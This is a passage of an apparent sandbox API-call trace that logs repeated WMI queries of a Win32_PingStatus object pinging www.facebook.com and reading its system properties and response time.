(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.909] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.909] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0136.909] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0136.909] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.909] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="BufferSize", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22894d4*=0, plFlavor=0x22894d8*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22894d4*=19, plFlavor=0x22894d8*=0) returned 0x0 [0136.910] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="BufferSize", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22894d4*=19, plFlavor=0x22894d8*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22894d4*=19, plFlavor=0x22894d8*=0) returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0136.911] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.911] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0136.911] SafeArrayGetDim (psa=0x5c78e18) returned 0x1 [0136.911] SafeArrayGetDim (psa=0x5c78e18) returned 0x1 [0136.911] SafeArrayGetLBound (in: psa=0x5c78e18, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0136.911] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.911] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.911] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.912] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.912] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.912] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.912] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.912] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.912] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.912] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.912] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.912] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.912] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.912] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.912] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.912] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.912] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.912] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.912] SysStringByteLen (bstr="__PATH") returned 0xc [0136.912] SysStringByteLen (bstr="__PATH") returned 0xc [0136.912] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289cb0*=0, plFlavor=0x2289cb4*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2289cb0*=3, plFlavor=0x2289cb4*=64) returned 0x0 [0136.913] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289ce4*=0, plFlavor=0x2289ce8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2289ce4*=8, plFlavor=0x2289ce8*=64) returned 0x0 [0136.913] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.913] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.913] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d3c*=0, plFlavor=0x2289d40*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d3c*=8, plFlavor=0x2289d40*=64) returned 0x0 [0136.913] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d64*=0, plFlavor=0x2289d68*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2289d64*=8, plFlavor=0x2289d68*=64) returned 0x0 [0136.913] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.913] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.913] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289dbc*=0, plFlavor=0x2289dc0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2289dbc*=8, plFlavor=0x2289dc0*=64) returned 0x0 [0136.913] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.914] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.914] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289fa8*=0, plFlavor=0x2289fac*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2289fa8*=3, plFlavor=0x2289fac*=64) returned 0x0 [0136.914] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289fdc*=0, plFlavor=0x2289fe0*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2289fdc*=8200, plFlavor=0x2289fe0*=64) returned 0x0 [0136.914] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a010*=0, plFlavor=0x228a014*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228a010*=8, plFlavor=0x228a014*=64) returned 0x0 [0136.914] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.914] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.915] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a05c*=0, plFlavor=0x228a060*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228a05c*=8, plFlavor=0x228a060*=64) returned 0x0 [0136.915] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.915] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.915] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a0a8*=0, plFlavor=0x228a0ac*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228a0a8*=8, plFlavor=0x228a0ac*=64) returned 0x0 [0136.915] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.915] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.915] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0136.915] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0136.915] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.915] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResponseTime", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a2e4*=0, plFlavor=0x228a2e8*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x228a2e4*=19, plFlavor=0x228a2e8*=0) returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0136.916] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.916] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0136.916] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0136.916] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0136.916] SafeArrayGetLBound (in: psa=0x5c78db8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0136.916] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.916] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.916] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.916] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.916] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.916] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.916] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.916] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.917] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.917] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.917] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.917] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.917] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.917] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.917] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.917] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.917] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.917] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.917] SysStringByteLen (bstr="__PATH") returned 0xc [0136.917] SysStringByteLen (bstr="__PATH") returned 0xc [0136.917] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a698*=0, plFlavor=0x228a69c*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228a698*=3, plFlavor=0x228a69c*=64) returned 0x0 [0136.918] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a6cc*=0, plFlavor=0x228a6d0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228a6cc*=8, plFlavor=0x228a6d0*=64) returned 0x0 [0136.918] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.918] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.918] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a724*=0, plFlavor=0x228a728*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a724*=8, plFlavor=0x228a728*=64) returned 0x0 [0136.918] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a74c*=0, plFlavor=0x228a750*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228a74c*=8, plFlavor=0x228a750*=64) returned 0x0 [0136.918] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.918] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.918] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a7a4*=0, plFlavor=0x228a7a8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228a7a4*=8, plFlavor=0x228a7a8*=64) returned 0x0 [0136.918] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.918] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.919] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a984*=0, plFlavor=0x228a988*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228a984*=3, plFlavor=0x228a988*=64) returned 0x0 [0136.919] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a9b8*=0, plFlavor=0x228a9bc*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78de8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228a9b8*=8200, plFlavor=0x228a9bc*=64) returned 0x0 [0136.919] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a9ec*=0, plFlavor=0x228a9f0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228a9ec*=8, plFlavor=0x228a9f0*=64) returned 0x0 [0136.919] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.919] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.920] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228aa38*=0, plFlavor=0x228aa3c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228aa38*=8, plFlavor=0x228aa3c*=64) returned 0x0 [0136.920] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.920] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.920] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228aa84*=0, plFlavor=0x228aa88*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228aa84*=8, plFlavor=0x228aa88*=64) returned 0x0 [0136.920] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.920] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.920] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0136.920] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0136.920] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.920] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResponseTime", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228acc0*=0, plFlavor=0x228acc4*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x228acc0*=19, plFlavor=0x228acc4*=0) returned 0x0 [0136.921] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResponseTime", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228acc0*=19, plFlavor=0x228acc4*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x228acc0*=19, plFlavor=0x228acc4*=0) returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0136.922] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.922] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0136.922] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0136.922] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0136.922] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0136.922] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.922] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.923] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.923] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.923] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.923] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.923] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.923] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.923] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.923] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.923] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.923] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.923] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.923] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.923] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.923] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.923] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.923] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.923] SysStringByteLen (bstr="__PATH") returned 0xc [0136.923] SysStringByteLen 